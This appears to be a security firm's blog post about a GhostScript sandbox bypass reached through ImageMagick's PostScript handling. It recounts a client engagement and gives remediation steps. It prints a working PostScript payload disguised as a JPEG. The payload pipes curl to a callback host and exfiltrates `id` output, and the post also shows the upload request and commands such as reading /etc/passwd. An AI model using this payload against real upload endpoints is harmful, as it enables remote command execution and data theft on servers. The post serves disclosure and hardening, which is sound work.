GhostScript RCE Bypass in ImageMagick: Exploiting Insecure Defaults via PostScript Upload
A newly disclosed GhostScript bypass allowed attackers to execute OS commands through ImageMagick’s default PostScript handling. In this post, we walk through how the exploit works, how we confirmed it in the wild within 24 hours, and the remediation steps required to mitigate the risk.
GhostScript vulnerabilities keep coming back. What began as a class of bugs brought into the spotlight by the ImageTragick disclosure has continued to resurface in new forms, with researchers at Codean Labs exposing multiple critical sandbox-bypass vulnerabilities in recent years, including CVE-2024-29510, which was actively exploited in the wild.
The root cause has remained consistent across all of these disclosures: ImageMagick delegates PostScript processing to GhostScript by default, and GhostScript's -dSAFER sandbox has repeatedly proven insufficient to prevent command execution when processing attacker-controlled files. If your application uses ImageMagick to handle user-uploaded images, your attack surface includes GhostScript, whether you know it or not.
As part of our continuous security efforts for our clients, we monitor for vulnerabilities that could affect them and confirm exposure when we find it. The walkthrough below is drawn from a real engagement where we identified, confirmed, and helped remediate exactly this class of vulnerability within 24 hours of a public disclosure.
Why This Vulnerability Class Persists
GhostScript is a PostScript interpreter that has been in active use since 1988. It is pre-installed on many Linux distributions and is silently invoked by a wide range of document and image processing tools, including ImageMagick, LibreOffice, GIMP, Inkscape, Scribus, and the CUPS printing system. In document conversion pipelines common in web applications, a call to ImageMagick frequently becomes a call to GhostScript without the developer being aware of the chain.
PostScript is a Turing-complete programming language. It supports file I/O, pipes, and command execution natively. The -dSAFER sandbox exists specifically to restrict these capabilities when processing untrusted input, but as researchers have demonstrated repeatedly, the sandbox boundary is difficult to maintain correctly in a language designed around mutable state and extensible operators.
The attack pattern is consistent: an attacker crafts a file that is disguised as a benign image (for example, a .jpg) but contains a PostScript payload. When ImageMagick attempts to convert or thumbnail the file, it detects the PostScript content and hands it to GhostScript. If the GhostScript version is vulnerable or improperly configured, the payload executes with the privileges of the web service user.
Security Details / Walkthrough
One of our clients uses ImageMagick to convert images, creating thumbnails for their website.
The following payload was used as an image upload across all the upload functions on the dev website:
Filename: test.jpg
%!PS
userdict /setpagedevice undef
save
legal
{null restore} stopped {pop} if
{legal} stopped {pop} if
restore
mark /OutputFile (%pipe%curl${IFS}callback.softwaresecured.com/`id`)
currentdevice putdeviceprops
From previous testing with the client, we already knew which OS the application was running on, so we were okay using curl. While testing, we started with an nslookup call, since it's available on both Windows and Linux. We then uploaded this POC file to the client's website.
The upload request looks something like the following:
POST /file HTTP/1.1
Host: www.helloworld.com
...snip...
Connection: close
-----------------------------184561271817366
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg
%!PS
userdict /setpagedevice undef
save
legal
{null restore} stopped {pop} if
{legal} stopped {pop} if
restore
mark /OutputFile (%pipe%curl${IFS}callback.softwaresecured.com/`id`)
currentdevice putdeviceprops
-----------------------------184561271817366--
Which gave back the following response:
HTTP/1.1 400 Bad Request
...snip...
Connection: close
{"errors":{"image":"Image is not valid"}}
The error didn’t seem to matter, as you’ll see in a moment.
On our server, we watched the logs for the curl command coming from the client's web server, waiting to see whether the user’s ID was included in the URL and whether we received any calls at all. After trying many different upload functions, here is the response we received:
GET /www-data HTTP/1.1
User-Agent: curl/7.35.0
Host: callback.softwaresecured.com
Accept: */*
Success! We have remote command execution on the client's web server, and the user running the web service is “www-data”. Other commands that worked included:
- uname -a
- cat /etc/passwd
- nslookup
Luckily for the client, when we tried to cat the /etc/shadow file on the server, we received no data back. This means they run the web service as a lower-privileged user.
Dangers of insecure defaults and Remediation
The core issue here is not just a bug in a specific version of GhostScript. It is a structural problem with how ImageMagick handles format delegation by default. ImageMagick ships with an unrestricted default policy that defers to GhostScript for PostScript, EPS, PDF, and XPS content. Unless that policy is explicitly hardened, every ImageMagick deployment that processes user-supplied files is potentially exposed.
This pattern shows up repeatedly across the vulnerability history of this software stack:
- ImageTragick (2016): MVG and HTTPS coders used to achieve RCE via crafted image files
- CVE-2018-19475: GhostScript sandbox bypass allowing shell command execution via the
restoreoperator - CVE-2023-36664: CVSS 9.8, critical RCE requiring only that a target open a malicious file
- CVE-2024-29510: Format string vulnerability in GhostScript <= 10.03.0, exploited in the wild using EPS files disguised as JPEGs
Each of these vulnerabilities followed the same disclosure-to-exploitation cycle. Researchers publish a proof of concept, attacks in the wild are observed within days, and organizations running unpatched or misconfigured stacks are caught off guard.
Remediation and Hardening
Step 1: Patch GhostScript
Upgrade GhostScript to the latest available version. For CVE-2024-29510, the fix is in version 10.03.1. Debian, Ubuntu, and Fedora have all published patched packages. To check whether your system is vulnerable:
ghostscript -q -dNODISPLAY -dBATCH CVE-2024-29510_testkit.psThe test kit is available from Codean Labs.
Step 2: Disable PostScript Coders in ImageMagick
Even on patched systems, disabling the coders that trigger GhostScript invocation reduces your attack surface significantly. Add the following to the <policymap> section of your policy.xml file (typically located at /etc/ImageMagick/policy.xml on Red Hat-based systems or /etc/ImageMagick-6/policy.xml on Debian-based systems):
<policy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="EPS" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" />For web-facing applications, a stricter posture is to deny all coders by default and explicitly allow only the formats your application requires:
<policy domain="coder" rights="none" pattern="*" />
<policy domain="coder" rights="write" pattern="{PNG,JPG,JPEG}" />For more detail on policy construction, see the official ImageMagick security policy documentation.
Step 3: Validate Your Policy
Doyensec's ImageMagick Security Policy Evaluator provides an automated way to check whether your policy.xml is hardened against known attack vectors, including arbitrary file read vulnerabilities like CVE-2022-44268. Use it as part of any deployment review involving ImageMagick.
Step 4: Apply Defense in Depth
Policy hardening should be paired with additional controls:
- Run ImageMagick as a low-privilege user. As the walkthrough above illustrates, this limits the impact of successful exploitation.
- Run ImageMagick in a container. Isolating image processing in Docker or a similar environment constrains what an attacker can reach even with RCE.
- Sanitize filenames and explicitly declare input format. Use
png:image.pnginstead ofimage.pngto prevent ImageMagick from inferring format from file content. This removes a significant vector for content-type confusion attacks. - Validate file content server-side, not just file extension or MIME type. As demonstrated above, a file with a
.jpgextension and aContent-Type: image/jpegheader can contain a fully functional PostScript payload.
Key Takeaways for Engineering and Security Leaders
The GhostScript/ImageMagick vulnerability class is a textbook example of cascading open-source dependencies introducing risk at the infrastructure layer. The dependency is often invisible: developers integrate ImageMagick for image resizing and may not realize GhostScript is invoked at all until an incident reveals it.
A few structural lessons apply broadly:
- Default configurations optimize for functionality, not security. Library defaults are designed for sandboxed or controlled environments. Deploying any image processing library in a public-facing context without reviewing its security policy is a risk acceptance decision, whether or not it is made consciously.
- Patch lag is a primary risk factor. In the CVE-2024-29510 exploitation cycle, attacks in the wild were observed within days of a public proof of concept, while many organizations were still assessing exposure. Reducing time-to-patch for critical infrastructure components is one of the highest-leverage investments a security team can make.
- HTTP error codes do not indicate safe execution. Application-layer validation errors are not equivalent to preventing dangerous processing in underlying libraries. Security testing must probe behavior at the library level, not just the API response.
- Least-privilege execution is a meaningful mitigating control. It does not prevent RCE, but it constrains what an attacker can do with it.
References
- CERT Vulnerability Note VU#332928
- Oss-security mailing list disclosure
- ImageMagick Security Policy Documentation
- Codean Labs: CVE-2024-29510 Technical Write-Up
- BleepingComputer: CVE-2024-29510 Exploited in the Wild
- Doyensec ImageMagick Security Policy Evaluator
- GitHub Security Lab: CVE-2018-19475
.avif)



